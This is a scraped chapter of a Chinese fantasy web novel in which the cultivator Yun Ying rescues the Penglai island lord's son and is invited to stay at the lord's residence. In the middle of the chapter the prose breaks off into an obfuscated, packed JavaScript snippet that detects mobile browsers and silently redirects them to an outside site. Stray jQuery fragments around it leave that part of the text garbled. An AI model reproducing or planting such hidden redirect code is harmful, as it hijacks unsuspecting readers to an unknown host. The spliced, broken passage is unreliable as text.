文趣网 > 其他小说 > 被迫与死对头在一起后 > 9. 恩人
    云潆暗自思索,该如何名正言顺进入岛主府。眼前北堂湛心性单纯,或许可以借他达成目的。

    正思忖间,一道身影带着几名仆从迎面走来。

    来者是个中年男子,一身青衫,头戴玉冠,面容沉静如山间古玉,眉宇间沉淀数十年山岚气韵。他负手而立,广袖轻垂,如一株历经风雪的千年寒松。

    “北堂湛!你跑到何处去了,还不快过来!”

    看这一身气度,云潆心中已然清楚,来人便是蓬莱岛主北堂越。她立在原地没有动作。北堂湛听见父亲声音,只能悻悻走上前去。

    “我命你留在殿中修习道法,你反倒私自溜出城闲逛,何时才能让我省心?”

    北堂越望着眼前这个阳奉阴违的儿子,只觉额角发胀。他仅有这一子,整日贪玩嬉闹,督促修行,比登天还难,实在令人头疼。

    北堂湛毫无反省之意,委屈地撇撇嘴,试着辩解:“我有好好听教!方才本打算出殿如厕,谁知半路撞上邪物,被它裹挟出城,并非我有意私自外出。”

    北堂越额角跳动,抬眼看向他:“你倒是说说,何等邪祟,能突破岛主府法阵将你掳走?”

    这话本就是谎话。岛主府布下重重禁制,灵气浑厚,寻常邪祟根本无法踏入半步。

    北堂湛垂首不语。他心里清楚瞒不过父亲。事实是他偷跑出府,逛到城门口,偶遇邪祟,被对方裹挟至城外,险些丢了性命。

    北堂越这时才留意到,北堂湛身后还站着一名女子。他侧头看向儿子。

    北堂湛声音弱了几分:“是这位姑娘出手救了我。”

    北堂越闻言,又瞪了北堂湛一眼,语气带着恨铁不成钢:“平日修行懈怠,整日游嬉。如今遭遇邪祟,还要旁人出手相救。身为男子,不觉得惭愧吗?”

    他轻叹一声:“我北堂越,怎么养出你这般儿子。”

    北堂湛早已习惯这番训话,站在一旁左耳进右耳出,全然不当回事。

    云潆静静立着,心中了然。果然是蓬莱岛主。此番算是机缘,北堂越素来神秘,极少踏足外界,她初到蓬莱便救下他独子,往后行事,多少能便利几分。只是此人城府深沉,想要糊弄,绝非易事。

    北堂越转向云潆,拱手致谢,语气温和有礼:“多谢姑娘出手搭救犬子。不知姑娘远道来蓬莱,所为何事?”

    身为岛主,他一眼便能看出,云潆并非蓬莱本土之人。

    面对北堂越,云潆明白隐瞒无益,坦然答道:“晚辈云潆,来自仙界。听闻蓬莱秘境即将开启,特地前来,想借此机缘打磨修为。”

    北堂越面上神色不变,心底却暗自思忖:昨夜那黑衣人提及之人,莫非便是眼前这位云姑娘。

    他没有继续追问底细,开口相邀:“承蒙姑娘救了犬子。既然是为秘境而来,不妨随我们一同回府歇息。”

    云潆微怔,没想到北堂越得知她来自仙界,还主动邀她入府。入岛主府,对她而言行事便利许多。此人此刻应当不会对她动手,不妨先应下,见机行事。

    云潆微微颔首,随北堂越一行人往府中走。

    “走,不许再想着在外游荡。”北堂越转身启程,看见北堂湛依旧一副散漫模样,伸手轻轻拍了下他后脑勺。

    “哎哟!爹下手轻点!”北堂湛故意大呼,其实并未觉得疼痛。

    “丢人现眼。”

    一行人回到岛主府。

    府邸规模宏大,琉璃屋顶顺着山势铺展,日光洒落,檐瓦似翻涌的海水。檐下悬着素纱,风一吹,穗子轻晃,纱间嵌着细碎明珠。正厅没有安门,只立一面青玉屏风,屏上天然刻着烟波纹路,人走过,影子便在玉纹间缓缓流动。廊下摆放几株老珊瑚,朱红温润。后园引海水凿成池,池底沉有鸽卵大小的明珠,日光沉入水中,一团团柔光浮在石缝之间。

    府中处处透着主人不俗的品味,底蕴深厚。云潆此刻才明白,北堂湛听闻两百万灵石时为何毫不在意。这笔灵石于他而言,实在算不上什么。

    云潆不由得想起昔日鹿台山仙宗。仙宗崇尚简朴,居所简陋,普通弟子仅有一间木屋栖身,就连她身为首席弟子也不例外。全仙宗唯有怀仁上仙的内殿稍显华贵,不过几枚月明珠、几幅古画而已。

    回到府中,北堂越吩咐下人备下宴席招待云潆。

    蓬莱临海,宴席多是海产。清蒸霜纹蟹、醉玉虾、白灼月影螺、蟹黄煨豆腐,菜品精致鲜美。

    北堂越未曾动筷,云潆也静坐不动,唯有北堂湛自顾自吃得尽兴。少年平日跳脱,吃饭时却举止规整,自有世家公子的仪态。

    北堂越看着埋头吃饭的儿子,眉头微蹙,终究没有出言打断,转头笑着示意云潆用膳。

    云潆拿起筷子,夹了几样菜。她早已辟谷,可菜肴滋味实在鲜美,忍不住多尝了几口。

    “秘境突然现世,消息外泄,引得三界修士奔赴蓬莱,扰了此地清净。”北堂越缓缓开口,“秘境之内是何等光景,我尚且不知,更不清楚是谁把消息散播出去。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966348|214529||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    北堂湛听见这些正事,只觉无趣,抬眼听了片刻,便继续埋头进食。

    云潆淡淡一笑,应声:“晚辈也是听闻传言才赶来。今日一见蓬莱风光,才知海外仙岛名不虚传。”

    这番话听得北堂越神色稍缓,眼底掠过一丝暖意。蓬莱这片土地,滋养无数散修与百姓,人人安居乐业,灵气丰足,本就是一方净土。

    云潆见他神色缓和,趁机轻声问道:“晚辈斗胆一问,岛主可知秘境何时开启?”

    谈及正事,北堂越神色收敛,恢复几分肃穆:“大约还有六七日,确切时日我也无法确定。秘境凭空在蓬莱显现,我也感到十分离奇。”

    还有六七日。云潆需要留在岛主府,静候秘境开启。

    宴席结束,云潆道谢告辞。北堂越安排下人将她安置在西侧院落。

    回到房中,她没有躺下安睡,只是闭目调息。在床上静养半个时辰后,起身倒了一杯清茶,而后盘膝打坐运转灵力。她必须抓紧一切时间冲击境界。初入岛主府,局势不明,难保夜里不会有变故,她不敢沉睡。

    一夜安然,并无异动。

    翌日清晨。云潆打坐整整一夜,毫无倦意,周身灵力愈发顺畅。修士本不必依靠睡眠休养,只是昔日受怀仁上仙重创养伤,才养成入睡的习惯。如今整夜打坐,身体并无不适。

    北堂越今日府中有要事处理,无暇顾及云潆。云潆也乐得清静,吃过下人送来的膳食,便留在房中继续打坐修行。

    一阵敲门声响起,打断了她调息。

    “喂,你在不在里面?”门外传来北堂湛的声音。

    云潆起身开门,看见少年扒在门边,一副鬼鬼祟祟的模样。

    “我猜你待在屋里闷得慌!本少爷好心,带你逛逛蓬莱城!”

    云潆狐疑看向他:“岛主不是命你留在府中修习道法?再说我若想外出,自会前去,不必劳烦北堂少爷。”

    北堂湛心思被一眼看穿,有些憋屈,干脆上前拉住云潆的衣袖,软磨硬泡:“恩人,跟我走嘛!蓬莱好玩的地方多着呢,你肯定没见过!”

    云潆被这一声“恩人”叫得微感不适,受不了他这般纠缠,只好松口:“松手,我随你去便是。不必这般称呼我,直接唤我云潆即可。”

    她心里想着,北堂湛是岛主之子,就算外出惹出事端,也牵连不到自己。况且只是在蓬莱城内,应当不会遇上危险。

    北堂湛见她答应,十分欣喜,手上力道轻了些,依旧拉着她衣袖。